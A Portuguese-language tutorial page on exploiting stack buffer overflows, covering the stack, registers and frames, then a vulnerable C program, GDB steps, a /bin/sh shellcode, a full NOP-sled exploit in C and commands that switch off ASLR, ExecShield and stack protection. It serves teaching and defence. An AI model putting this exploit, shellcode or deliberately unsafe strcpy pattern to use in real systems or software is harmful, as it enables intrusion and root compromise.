Вы находитесь на странице: 1из 8

Exploiting Buffer Overflow

No artigo anterior entendemos o que e como ocorre uma falha de buffer overflow. Vimos que o programa travava e apresentava a mensagem de Segmentation fault quando era passada uma string muito grande. Isso ocorreu porque a string sobrescreu vrios segmentos da memria que estavam aps o buffer, inclusive segmentos responsveis por controlar a execuo do programa. Hoje iremos entender melhor porque isso ocorre e a partir disso conseguiremos explorar essa vulnerabilidade e obter o controle do programa para executarmos o que quisermos. O que a Pilha? Em poucas palavras, a pilha (stack) um local reservado da memria (RAM) onde o programa armazena as variveis locais de uma funo e controla a execuo de um programa. Um espao especfico da pilha reservado para uma funo chamada de stack frame. Cada elemento da pilha, assim como uma pilha de pratos, colocado em cima do outro, e para a retirada o processo inverso, retira-se os que esto em cima primeiro. Sendo assim o primeiro elemento colocado na pilha ser o ltimo a ser retirado, o termo utilizado para descrever isso FILO (First In, Last Out). Em Assembly o comando PUSH insere elementos na pilha e o POP retira esses elementos. A memria utilizada por um programa dividida em segmentos, dependendo da arquitetura do processador ou sistema operacional pode ser de 32 bits ou 64 bits por exemplo. Cada segmento tem um endereo e armazena algum tipo de informao. Um segmento de memria pode, por exemplo, ser endereado em hexadecimal assim: 0xbffffffe Isso representa o endereo de um segmento de memria de 32 bits. Os endereos de memria na pilha crescem do endereo maior para o menor. Se um programa reserva 24 bytes de memria para variveis locais, ento seriam reservados esses seguimentos: 0xbfffffd8 4 varivel 0xbfffffdc 4 0xbfffffe0 4 0xbfffffe4 3 varivel 0xbfffffe8 2 varivel 0xbfffffec 1 varivel A primeira varivel inserida na pilha seria no endereo 0xbfffffec, a segunda em 0xbfffffe8 e a terceira em 0xbfffffe4, cada uma ocuparia apenas um segmento de memria caso tivessem 4 bytes de tamanho. Inserindo uma quarta varivel de 12 bytes o endereo dela seria 0xbfffffd8 e ocuparia os 3 segmentos seguintes. Repetindo, a pilha cresce do endereo MAIOR para o MENOR. Registradores Registradores so locais no processador utilizados para armazenar dados temporariamente. Como esto dentro do processador o acesso a eles muito mais rpido do que o acesso a memria RAM. Existem vrios tipos de registradores, interessante conhecermos alguns: EAX, EBX, ECX, EDX Registradores de uso geral, utilizados para manipular dados. EBP Extended Base Pointer, geralmente aponta para o incio ou base da pilha. ESP Extended Stack Pointer, aponta para o topo da pilha.

EIP Extended Instruction Pointer, aponta para o endereo da prxima instruo a ser executada. Construo de um Stack Frame Agora entenderemos como um stack frame construdo, ou seja, como reservado um espao na memria para uma funo quando ela chamada. importante entender tudo isso porque depois a construo do exploit se tornar mais simples. Vamos utilizar a pilha criada anteriormente, imaginemos um programa com o seguinte cdigo: main(int argc, char *argv[]){ exibir(argv[1]); printf(OK); } exibir(char *arg[]){ char nome1[4], nome2[4], nome3[4]; char nome4[12]; strcpy(nome4, arg); } Em (dis)assembly, uma representao simplificada desse cdigo seria: main: 0x00400000 PUSH argv[1] 0x00400004 CALL exibir 0x00400008 PUSH OK 0x0040000c CALL printf exibir: 0x004000c0 PUSH EBP 0x004000c4 MOV EBP, ESP 0x004000c8 SUB ESP, 18h 0x004000cc MOV EAX, [EBP+8] 0x004000d0 MOV [EBP-18], EAX 0x004000e0 ADD ESP, 18h 0x004000e4 MOV ESP, EBP 0x004000e8 POP EBP 0x004000ec RET Na funo main primeiro colocado na pilha o parmetro da funo exibir com o comando PUSH e ento chamada a funo com o CALL. Quando o CALL executado sempre PUSH'ado na pilha o endereo que est no registrador EIP, que vocs se lembram aponta para a prxima instruo a ser executada. No nosso programa o EIP armazenaria 0x00400008 que a instruo aps o CALL, isso o endereo de retorno da funo, para o programa saber de onde continuar depois que a funo chamada terminar. Ento a execuo do programa redirecionada para a funo exibir que se inicia no endereo 0x004000c0. As trs linhas inicias so conhecidas como function prologue, so as

reponsveis por configurar o espao na pilha para a funo. E as trs ltimas so chamadas de function epilogue que restauram os valores, desfaz a pilha. Graficamente ser mais fcil de entender, vejamos como ficar nossa pilha aps a execuo da funo exibir.

Como vemos, o EBP (base pointer) aponta para o incio do stack frame da funo e o ESP (stack pointer) aponta para o topo da pilha. Dentro da funo exibir quando o programa quiser trabalhar com as variveis locais, ele acessar por EBP-4 (nome1), EBP-8 (nome2), EBP-C (nome3) e EBP-18 (nome4). Quando quiser acessar a varivel passada como parmetro o endereo ser EBP+8. Exemplo: MOV EAX, [EBP-C] // move o valor da varivel nome3 para o registrador EAX MOV EBX, [EBP+8] // move o valor do parmetro para o registrador EBX Lembre-se: EBP XX = acesso a varivel local EBP + XX = acesso a parmetro da funo Isso muito til quando fazemos engenharia reversa. Voltando para nossa pilha... A varivel nome4 possui 12 bytes, se inserirmos nela 32 bytes vai ocorrer um buffer overflow, sobrescrever tudo que estiver abaixo dela: as outras variveis, o EBP e por fim o endereo de retorno (EIP), assim quando o programa tentar retornar vai encontrar um valor qualquer no EIP e no conseguir continuar, vai travar. Isso a Segmentation fault. Exploitation Um exploit se beneficia dessa capacidade de sobrescrever o endereo de retorno da funo, ao invs de sobrescrev-lo com um valor qualquer o exploit insere um valor minuciosamente calculado. Vamos comparar a pilha original com uma criada por um exploit.

Na pilha do exploit, quando o programa buscar o endereo de retorno na pilha em 0xbffffff4, ele encontrar o valor 0xbfffffd8 e vai execut-lo voltando para o incio da pilha, encontrar a instruo NOP (No-Operation, cdigo 0x90), essa instruo como o prprio nome diz no faz nada, s pula para a instruo de baixo. A execuo vai escorregando pelos NOPs, isso chamado de NOP-Sled, at chegar na instruo execute /bin/sh, que no Linux far com que execute o shell sh. O shell executado e o atacante obtm o controle do sistema operacional podendo executar os comandos que quiser no sistema, se o programa explorado possuir permisso de root. Essa a grande jogada de um exploit, explora e controla uma falha no programa (vulnerabilidade) para obter o controle do sistema ou executar o que desejar. Na prtica o cdigo no to simples assim mas a lgica essa. Praticando os conceitos Agora vamos ver como tudo isso funciona na prtica. Vou criar o programa vulneravel.c com esse cdigo: // vulneravel.c #include <stdio.h> void exibe(char arg[]) { char buffer[64]; strcpy(buffer, arg); printf("Voce digitou: %s\n",buffer); } int main(int argc, char *argv[]) { exibe(argv[1]); return 0; }

um programa com uma vulnerabilidade de buffer overflow, a varivel buffer possui 64 bytes de tamanho mas atravs do parmetro podemos passar uma string do tamanho que quisermos, se a string for muito grande ocorrer a Segmentation fault.

Vamos comear a construir nosso exploit para ele. Baseando-se na explicao anterior sobre a pilha do exploit, se a varivel buffer possui 64 bytes, quantos bytes precisaramos para sobrescrever a pilha e chegar at o endereo de retorno da funo exibe? 64 bytes (buffer) + 4 bytes (EBP) + 4 bytes (retorno) = 72 bytes J sabemos o tamanho, agora precisamos descobrir em qual endereo da pilha ser inserida a varivel buffer pois utilizaremos esse endereo para sobrescrever o retorno original, no exemplo lembram que utilizamos o 0xbfffffd8 para retornar ao incio da pilha. Existem vrias maneiras de descobrir isso, a que eu achei mais fcil de entender e executar foi utilizando o GDB, The GNU Project Debugger, um debugger/disassembler assim como o OllyDbg, mas para o Linux e executado na linha de comando. Primeiro compilamos nosso vulneravel.c com o comando: gcc -g -o vulneravel vulneravel.c A opo -g para inserir mais informaes de debugger no arquivo. Depois executamos o GDB chamando nosso programa com o comando: gdb -q ./vulneravel O -q para omitir a mensagem de boas-vindas do programa. Depois usamos o comando list para exibir as linhas do programa, colocamos um breakpoint com o comando break 6, isto , na 6 linha, bem aps a varivel buffer receber seu valor.

Agora podemos executar o programa, vamos passar como parmetro uma string com exatamente 64 bytes, ou 64 As, o comando :

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Dica: podemos utilizar o Perl para imprimir os 64 As ao invs de digitar um por um, o comando ficaria: run $(perl -e print 'A'x64) A execuo para bem no nosso breakpoint, uma maneira simples de descobrir em qual endereo est a varivel buffer executando: x/x buffer Significa: examine (x) a varivel buffer e apresente o resultado em hexadecimal (x).

Como podemos ver o resultado foi: 0xbffffadc: 0x41414141 A varivel buffer est no endereo 0xbffffadc e contm 0x41414141, 0x41 o cdigo hexadecimal para a letra A, podem conferir na tabela ASCII. :) Agora j sabemos o tamanho do buffer para sobrescrever o endereo de retorno e o endereo da varivel buffer, s nos resta saber como fazer o programa executar o shell sh do linux. No exemplo eu coloquei execute /bin/sh, mas o computador no entende isso, ele entende linguagem de mquina, temos que passar pra ele os comandos na linguagem que ele entende. Assim como ele sabe que o cdigo hexadecimal 0x90 equivale ao NOP do Assembly, existem inmeros outros cdigos que representam os outros comandos, so chamados de opcodes. Os opcodes que iremos utilizar so esses: "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#" Essa sequncia chamada de shellcode, ou seja, o cdigo para se obter o shell, no vou explicar como ele construdo, isso renderia vamos posts, por enquanto basta sabermos que so cdigos hexadecimais que representam a instruo execute /bin/sh. J temos todas as informaes necessrias para construir o exploit do nosso programa vulnervel, agora s colocarmos tudo junto em um programa. O cdigo-fonte do nosso exploit.c esse: // exploit.c #include <stdio.h> static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; #define NOP 0x90 // codigo hex do NOP #define LEN 64+8 // tamanho do buffer para sobrescrever o retorno #define RET 0xbffffadc // endereo de retorno do incio do buffer int main() { char buffer[LEN]; // cria uma variavel com 72 bytes int i; for(i=0;i<LEN;i++) buffer[i]=NOP; // preenche a variavel inteira com NOPs // copia para a memoria a variavel com o shellcode no final dela, // s reservando os ltimos 4 bytes para o endereo de retorno memcpy(&buffer[LEN-strlen(shellcode)-4], shellcode, strlen(shellcode)); // copia para os 4 ltimos bytes o endereo de retorno *(int*)(&buffer[LEN-4]) = RET; // executa o programa ./vulneravel passando como parametro a variavel buffer criada execlp("./vulneravel","./vulneravel",buffer,NULL); return 0; } Praticamente eu j expliquei tudo o que ele faz, vai sobrescrever a pilha com as informaes previamente calculadas da mesma forma que foi demonstrado no exemplo anterior. Exploit compilado e chegamos no momento to esperado, a execuo do exploit!

Perfeito! Tudo conforme planejamos, atravs de uma vulnerabilidade conseguimos obter o shell de um sistema, a partir disso teramos o caminho livre para a explorao da mquina. Consideraes finais Lembrando novamente que esse foi um ambiente controlado e propcio para a explorao, utilizei a distro Debian 3.0 R4 e o gcc 2.95.4-14, que so verses bem antigas que ainda no tinham implementadas vrias protees contra explorao de stack overflow. As distros atuais possuem uma srie de melhorias mas tambm possvel desabilit-las para reproduzir os exemplos. A ideia do artigo demonstrar a lgica de um exploit, isso no muda, e tambm servir como um ponto de partida para estudos mais avanados. Mesmo existindo as protees sempre h falhas e meios de explor-las. Cabe aos profissionais de segurana e desenvolvedores de softwares conhec-las para melhor proteger seus sistemas. Espero que tenham gostado, dvidas s deixar um comentrio. Adicionado em 15/03/2011: Para reproduzir os exemplos desse artigo em distribuies Linux mais atuais necessrio desativar algumas protees, faa o seguinte: - Debian e Ubuntu based, desativar ASLR: echo 0 > /proc/sys/kernel/randomize_va_space - Red Hat based, desativar ASLR e DEP (ExecShield): echo 0 > /proc/sys/kernel/exec-shield-randomize echo 0 > /proc/sys/kernel/exec-shield - GCC a partir da verso 4.1 compilar com diretiva -fno-stack-protector, exemplo: gcc -fno-stack-protector -o overflow overflow.c Fiz o teste no Debian 5.0.3 com GCC 4.3.2-2 e funcionou corretamente.

Вам также может понравиться